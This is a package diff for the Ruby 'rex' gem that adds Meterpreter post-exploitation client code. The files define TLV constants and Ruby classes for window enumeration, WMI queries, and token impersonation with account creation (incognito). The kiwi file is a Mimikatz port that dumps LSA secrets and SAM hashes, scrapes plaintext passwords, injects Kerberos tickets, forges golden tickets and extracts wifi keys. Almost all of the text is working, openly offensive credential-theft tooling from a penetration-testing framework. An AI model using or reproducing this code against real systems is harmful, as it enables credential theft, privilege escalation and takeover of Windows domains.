rex 1.0.2 → 2.0.2

data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb

@@ -0,0 +1,77 @@
+# -*- coding: binary -*-
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Extapi
+
+TLV_TYPE_EXTENSION_EXTAPI = 0
+
+TLV_TYPE_EXT_WINDOW_ENUM_GROUP              = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 1)
+TLV_TYPE_EXT_WINDOW_ENUM_PID                = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 2)
+TLV_TYPE_EXT_WINDOW_ENUM_HANDLE             = TLV_META_TYPE_QWORD  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 3)
+TLV_TYPE_EXT_WINDOW_ENUM_TITLE              = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 4)
+TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN     = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 5)
+
+TLV_TYPE_EXT_SERVICE_ENUM_GROUP             = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 10)
+TLV_TYPE_EXT_SERVICE_ENUM_NAME              = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 11)
+TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME       = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 12)
+TLV_TYPE_EXT_SERVICE_ENUM_PID               = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 13)
+TLV_TYPE_EXT_SERVICE_ENUM_STATUS            = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 14)
+TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE       = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 15)
+
+TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE        = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 20)
+TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME      = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 21)
+TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME        = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 22)
+TLV_TYPE_EXT_SERVICE_QUERY_PATH             = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 23)
+TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP   = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 24)
+TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE      = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 25)
+TLV_TYPE_EXT_SERVICE_QUERY_DACL             = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 26)
+TLV_TYPE_EXT_SERVICE_QUERY_STATUS           = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 27)
+
+TLV_TYPE_EXT_SERVICE_CTRL_NAME              = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 28)
+TLV_TYPE_EXT_SERVICE_CTRL_OP                = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 29)
+
+TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD             = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35)
+
+TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP       = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38)
+
+TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT            = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39)
+TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT    = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
+
+TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE            = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41)
+TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME       = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42)
+TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE       = TLV_META_TYPE_QWORD  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43)
+TLV_TYPE_EXT_CLIPBOARD_TYPE_FILES           = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 44)
+
+TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG       = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 45)
+TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX  = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 46)
+TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY  = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47)
+TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA  = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48)
+
+TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA     = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50)
+TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS        = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51)
+TLV_TYPE_EXT_CLIPBOARD_MON_DUMP             = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52)
+TLV_TYPE_EXT_CLIPBOARD_MON_PURGE            = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53)
+
+TLV_TYPE_EXT_ADSI_DOMAIN                    = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 55)
+TLV_TYPE_EXT_ADSI_FILTER                    = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 56)
+TLV_TYPE_EXT_ADSI_FIELD                     = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 57)
+TLV_TYPE_EXT_ADSI_VALUE                     = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 58)
+TLV_TYPE_EXT_ADSI_RESULT                    = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 59)
+TLV_TYPE_EXT_ADSI_MAXRESULTS                = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 60)
+TLV_TYPE_EXT_ADSI_PAGESIZE                  = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 61)
+
+TLV_TYPE_EXT_WMI_DOMAIN                     = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 65)
+TLV_TYPE_EXT_WMI_QUERY                      = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 66)
+TLV_TYPE_EXT_WMI_FIELD                      = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 67)
+TLV_TYPE_EXT_WMI_VALUE                      = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 68)
+TLV_TYPE_EXT_WMI_FIELDS                     = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 69)
+TLV_TYPE_EXT_WMI_VALUES                     = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 70)
+TLV_TYPE_EXT_WMI_ERROR                      = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 71)
+
+end
+end
+end
+end
+end

data/lib/rex/post/meterpreter/extensions/extapi/window/window.rb

@@ -0,0 +1,56 @@
+# -*- coding: binary -*-
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Extapi
+module Window
+
+###
+#
+# This meterpreter extension contains extended API functions for
+# querying and managing desktop windows.
+#
+###
+class Window
+
+  def initialize(client)
+    @client = client
+  end
+
+  # Enumerate all the windows on the target.
+  # If the specified parent window is nil, then all top-level windows
+  # are enumerated. Otherwise, all child windows of the specified
+  # parent window are enumerated.
+  def enumerate(include_unknown = false, parent_window = nil)
+    request = Packet.create_request('extapi_window_enum')
+
+    if include_unknown
+      request.add_tlv(TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN, true)
+    end
+
+    if not parent_window.nil?
+      request.add_tlv(TLV_TYPE_EXT_WINDOW_ENUM_HANDLE, parent_window)
+    end
+
+    response = client.send_request(request)
+
+    windows = []
+
+    response.each(TLV_TYPE_EXT_WINDOW_ENUM_GROUP) { |w|
+      windows << {
+        :pid    => w.get_tlv_value(TLV_TYPE_EXT_WINDOW_ENUM_PID),
+        :handle => w.get_tlv_value(TLV_TYPE_EXT_WINDOW_ENUM_HANDLE),
+        :title  => w.get_tlv_value(TLV_TYPE_EXT_WINDOW_ENUM_TITLE)
+      }
+    }
+
+    windows.sort_by { |w| w[:pid] }
+  end
+
+  attr_accessor :client
+
+end
+
+end; end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb

@@ -0,0 +1,75 @@
+# -*- coding: binary -*-
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Extapi
+module Wmi
+
+###
+#
+# This meterpreter extension contains extended API functions for
+# performing WMI queries.
+#
+###
+class Wmi
+
+  def initialize(client)
+    @client = client
+  end
+
+  #
+  # Perform a generic wmi query against the target machine.
+  #
+  # @param query [String] The WMI query string.
+  # @param root [String] Specify root to target, otherwise defaults
+  #   to 'root\cimv2'
+  #
+  # @return [Hash] Array of field names with associated values.
+  #
+  def query(query, root = nil)
+    request = Packet.create_request('extapi_wmi_query')
+
+    request.add_tlv(TLV_TYPE_EXT_WMI_DOMAIN, root) unless root.blank?
+    request.add_tlv(TLV_TYPE_EXT_WMI_QUERY, query)
+
+    response = client.send_request(request)
+
+    # Bomb out with the right error messa
+    error_msg = response.get_tlv_value(TLV_TYPE_EXT_WMI_ERROR)
+    raise error_msg if error_msg
+
+    fields = []
+    fields_tlv = response.get_tlv(TLV_TYPE_EXT_WMI_FIELDS)
+
+    # If we didn't get any fields back, then we didn't get any results.
+    # The reason is because without results, we don't know which fields
+    # were requested in the first place
+    return nil unless fields_tlv
+
+    fields_tlv.each(TLV_TYPE_EXT_WMI_FIELD) { |f|
+      fields << f.value
+    }
+
+    values = []
+    response.each(TLV_TYPE_EXT_WMI_VALUES) { |r|
+      value = []
+      r.each(TLV_TYPE_EXT_WMI_VALUE) { |v|
+        value << v.value
+      }
+      values << value
+    }
+
+    return {
+      :fields  => fields,
+      :values => values
+    }
+  end
+
+  attr_accessor :client
+
+end
+
+end; end; end; end; end; end
+

data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb

@@ -0,0 +1,94 @@
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/extensions/incognito/tlv'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Incognito
+
+###
+#
+# This meterpreter extensions a privilege escalation interface that is capable
+# of doing things like dumping password hashes and performing local
+# exploitation.
+#
+###
+class Incognito < Extension
+
+
+  def initialize(client)
+    super(client, 'incognito')
+
+    client.register_extension_aliases(
+      [
+        {
+          'name' => 'incognito',
+          'ext'  => self
+        },
+      ])
+  end
+
+
+  def incognito_list_tokens(token_order)
+    request = Packet.create_request('incognito_list_tokens')
+    request.add_tlv(TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER, token_order)
+
+    response = client.send_request(request)
+
+    return {
+      'delegation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION),
+      'impersonation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION)
+    }
+  end
+
+  def incognito_impersonate_token(username)
+    request = Packet.create_request('incognito_impersonate_token')
+    request.add_tlv(TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN, username)
+    response = client.send_request(request)
+
+    response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
+  end
+
+  def incognito_add_user(host, username, password)
+    request = Packet.create_request('incognito_add_user')
+    request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
+    request.add_tlv(TLV_TYPE_INCOGNITO_PASSWORD, password)
+    request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
+    response = client.send_request(request)
+
+    response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
+  end
+
+  def incognito_add_group_user(host, groupname, username)
+    request = Packet.create_request('incognito_add_group_user')
+    request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
+    request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname)
+    request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
+    response = client.send_request(request)
+
+    response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
+  end
+
+  def incognito_add_localgroup_user(host, groupname, username)
+    request = Packet.create_request('incognito_add_localgroup_user')
+    request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
+    request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname)
+    request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
+    response = client.send_request(request)
+
+    response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
+  end
+
+  def incognito_snarf_hashes(host)
+    request = Packet.create_request('incognito_snarf_hashes')
+    request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
+    response = client.send_request(request)
+
+    return true
+  end
+
+end
+
+end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb

@@ -0,0 +1,22 @@
+# -*- coding: binary -*-
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Incognito
+
+TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION        	= TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
+TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION        	= TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
+TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER       	= TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 4)
+TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5)
+TLV_TYPE_INCOGNITO_GENERIC_RESPONSE    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 6)
+TLV_TYPE_INCOGNITO_USERNAME    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 7)
+TLV_TYPE_INCOGNITO_PASSWORD    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8)
+TLV_TYPE_INCOGNITO_SERVERNAME    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9)
+TLV_TYPE_INCOGNITO_GROUPNAME    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10)
+
+end
+end
+end
+end
+end

data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb

@@ -0,0 +1,361 @@
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/extensions/kiwi/tlv'
+require 'rexml/document'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Kiwi
+
+###
+#
+# Kiwi extension - grabs credentials from windows memory.
+#
+# Benjamin DELPY `gentilkiwi`
+# http://blog.gentilkiwi.com/mimikatz
+#
+# extension converted by OJ Reeves (TheColonial)
+###
+
+class Kiwi < Extension
+
+  #
+  # These are constants that identify the type of credential to dump
+  # from the target machine.
+  #
+  PWD_ID_SEK_ALLPASS   = 0
+  PWD_ID_SEK_WDIGEST   = 1
+  PWD_ID_SEK_MSV       = 2
+  PWD_ID_SEK_KERBEROS  = 3
+  PWD_ID_SEK_TSPKG     = 4
+  PWD_ID_SEK_LIVESSP   = 5
+  PWD_ID_SEK_SSP       = 6
+  PWD_ID_SEK_DPAPI     = 7
+
+  #
+  # List of names which represent the flags that are part of the
+  # dumped kerberos tickets. The order of these is important. Each
+  # of them was pulled from the Mimikatz 2.0 source base.
+  #
+  KERBEROS_FLAGS = [
+    "NAME CANONICALIZE",
+    "<unknown>",
+    "OK AS DELEGATE",
+    "<unknown>",
+    "HW AUTHENT",
+    "PRE AUTHENT",
+    "INITIAL",
+    "RENEWABLE",
+    "INVALID",
+    "POSTDATED",
+    "MAY POSTDATE",
+    "PROXY",
+    "PROXIABLE",
+    "FORWARDED",
+    "FORWARDABLE",
+    "RESERVED"
+  ].map(&:freeze).freeze
+
+  #
+  # Typical extension initialization routine.
+  #
+  # @param client (see Extension#initialize)
+  def initialize(client)
+    super(client, 'kiwi')
+
+    client.register_extension_aliases(
+      [
+        {
+          'name' => 'kiwi',
+          'ext'  => self
+        },
+      ])
+  end
+
+  #
+  # Dump the LSA secrets from the target machine.
+  #
+  # @return [Hash<Symbol,Object>]
+  def lsa_dump
+    request = Packet.create_request('kiwi_lsa_dump_secrets')
+
+    response = client.send_request(request)
+
+    result = {
+      :major    => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ),
+      :minor    => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN),
+      :compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME),
+      :syskey   => response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY),
+      :nt5key   => response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY),
+      :nt6keys  => [],
+      :secrets  => [],
+      :samkeys  => []
+    }
+
+    response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k|
+      result[:nt6keys] << {
+        :id    => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID),
+        :value => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE)
+      }
+    end
+
+    response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s|
+      result[:secrets] << {
+        :name        => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME),
+        :service     => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV),
+        :ntlm        => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM),
+        :current     => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR),
+        :current_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW),
+        :old         => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD),
+        :old_raw     => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW)
+      }
+    end
+
+    response.each(TLV_TYPE_KIWI_LSA_SAM) do |s|
+      result[:samkeys] << {
+        :rid       => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_RID),
+        :user      => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_USER),
+        :ntlm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_NTLMHASH),
+        :lm_hash   => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_LMHASH)
+      }
+    end
+
+    result
+  end
+
+  #
+  # Convert a flag set to a list of string representations for the bit flags
+  # that are set.
+  #
+  # @param flags [Fixnum] Integer bitmask of Kerberos token flags.
+  #
+  # @return [Array<String>] Names of all set flags in +flags+. See
+  #   {KERBEROS_FLAGS}
+  def to_kerberos_flag_list(flags)
+    flags = flags >> 16
+    results = []
+
+    KERBEROS_FLAGS.each_with_index do |item, idx|
+      if (flags & (1 << idx)) != 0
+        results  << item
+      end
+    end
+
+    results
+  end
+
+  #
+  # List available kerberos tickets.
+  #
+  # @param export [Bool] Set to +true+ to export the content of each ticket
+  #
+  # @return [Array<Hash>]
+  #
+  def kerberos_ticket_list(export)
+    export ||= false
+    request = Packet.create_request('kiwi_kerberos_ticket_list')
+    request.add_tlv(TLV_TYPE_KIWI_KERB_EXPORT, export)
+    response = client.send_request(request)
+
+    results = []
+
+    response.each(TLV_TYPE_KIWI_KERB_TKT) do |t|
+      results << {
+        :enc_type     => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_ENCTYPE),
+        :start        => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_START),
+        :end          => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_END),
+        :max_renew    => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_MAXRENEW),
+        :server       => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERNAME),
+        :server_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERREALM),
+        :client       => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME),
+        :client_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM),
+        :flags        => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_FLAGS),
+        :raw          => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
+      }
+    end
+
+    results
+  end
+
+  #
+  # Use the given ticket in the current session.
+  #
+  # @param ticket [String] Content of the Kerberos ticket to use.
+  #
+  # @return [void]
+  #
+  def kerberos_ticket_use(ticket)
+    request = Packet.create_request('kiwi_kerberos_ticket_use')
+    request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true)
+    client.send_request(request)
+    return true
+  end
+
+  #
+  # Purge any Kerberos tickets that have been added to the current session.
+  #
+  # @return [void]
+  #
+  def kerberos_ticket_purge
+    request = Packet.create_request('kiwi_kerberos_ticket_purge')
+    client.send_request(request)
+    return true
+  end
+
+  #
+  # Create a new golden kerberos ticket on the target machine and return it.
+  #
+  # @param user [String] Name of the user to create the ticket for.
+  # @param domain [String] Domain name.
+  # @param sid [String] SID of the domain.
+  # @param tgt [String] The kerberos ticket granting token.
+  # @param id [Fixnum] ID of the user to grant the token for.
+  # @param group_ids [Array<Fixnum>] IDs of the groups to assign to the user
+  #
+  # @return [String]
+  #
+  def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = [])
+    request = Packet.create_request('kiwi_kerberos_golden_ticket_create')
+    request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user)
+    request.add_tlv(TLV_TYPE_KIWI_GOLD_DOMAIN, domain)
+    request.add_tlv(TLV_TYPE_KIWI_GOLD_SID, sid)
+    request.add_tlv(TLV_TYPE_KIWI_GOLD_TGT, tgt)
+    request.add_tlv(TLV_TYPE_KIWI_GOLD_USERID, id)
+
+    group_ids.each do |g|
+      request.add_tlv(TLV_TYPE_KIWI_GOLD_GROUPID, g)
+    end
+
+    response = client.send_request(request)
+    return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
+  end
+
+  #
+  # List all the wifi interfaces and the profiles associated
+  # with them. Also show the raw text passwords for each.
+  #
+  # @return [Array<Hash>]
+  def wifi_list
+    request = Packet.create_request('kiwi_wifi_profile_list')
+
+    response = client.send_request(request)
+
+    results = []
+
+    response.each(TLV_TYPE_KIWI_WIFI_INT) do |i|
+      interface = {
+        :guid     => Rex::Text::to_guid(i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_GUID)),
+        :desc     => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_DESC),
+        :state    => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_STATE),
+        :profiles => []
+      }
+
+      i.each(TLV_TYPE_KIWI_WIFI_PROFILE) do |p|
+
+        xml = p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_XML)
+        doc = REXML::Document.new(xml)
+        profile = doc.elements['WLANProfile']
+
+        interface[:profiles] << {
+          :name        => p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_NAME),
+          :auth        => profile.elements['MSM/security/authEncryption/authentication'].text,
+          :key_type    => profile.elements['MSM/security/sharedKey/keyType'].text,
+          :shared_key  => profile.elements['MSM/security/sharedKey/keyMaterial'].text
+        }
+      end
+
+      results << interface
+    end
+
+    return results
+  end
+
+  #
+  # Scrape passwords from the target machine.
+  #
+  # @param pwd_id [Fixnum] ID of the type credential to scrape.
+  #
+  # @return [Array<Hash>]
+  def scrape_passwords(pwd_id)
+    request = Packet.create_request('kiwi_scrape_passwords')
+    request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id)
+    response = client.send_request(request)
+
+    results = []
+    response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r|
+      results << {
+        :username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME),
+        :domain   => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN),
+        :password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD),
+        :auth_hi  => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI),
+        :auth_lo  => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO),
+        :lm       => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH),
+        :ntlm     => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH)
+      }
+    end
+
+    return results
+  end
+
+  #
+  # Scrape all passwords from the target machine.
+  #
+  # @return (see #scrape_passwords)
+  def all_pass
+    scrape_passwords(PWD_ID_SEK_ALLPASS)
+  end
+
+  #
+  # Scrape wdigest credentials from the target machine.
+  #
+  # @return (see #scrape_passwords)
+  def wdigest
+    scrape_passwords(PWD_ID_SEK_WDIGEST)
+  end
+
+  #
+  # Scrape msv credentials from the target machine.
+  #
+  # @return (see #scrape_passwords)
+  def msv
+    scrape_passwords(PWD_ID_SEK_MSV)
+  end
+
+  #
+  # Scrape LiveSSP credentials from the target machine.
+  #
+  # @return (see #scrape_passwords)
+  def livessp
+    scrape_passwords(PWD_ID_SEK_LIVESSP)
+  end
+
+  #
+  # Scrape SSP credentials from the target machine.
+  #
+  # @return (see #scrape_passwords)
+  def ssp
+    scrape_passwords(PWD_ID_SEK_SSP)
+  end
+
+  #
+  # Scrape TSPKG credentials from the target machine.
+  #
+  # @return (see #scrape_passwords)
+  def tspkg
+    scrape_passwords(PWD_ID_SEK_TSPKG)
+  end
+
+  #
+  # Scrape Kerberos credentials from the target machine.
+  #
+  # @return (see #scrape_passwords)
+  def kerberos
+    scrape_passwords(PWD_ID_SEK_KERBEROS)
+  end
+
+end
+
+end; end; end; end; end
+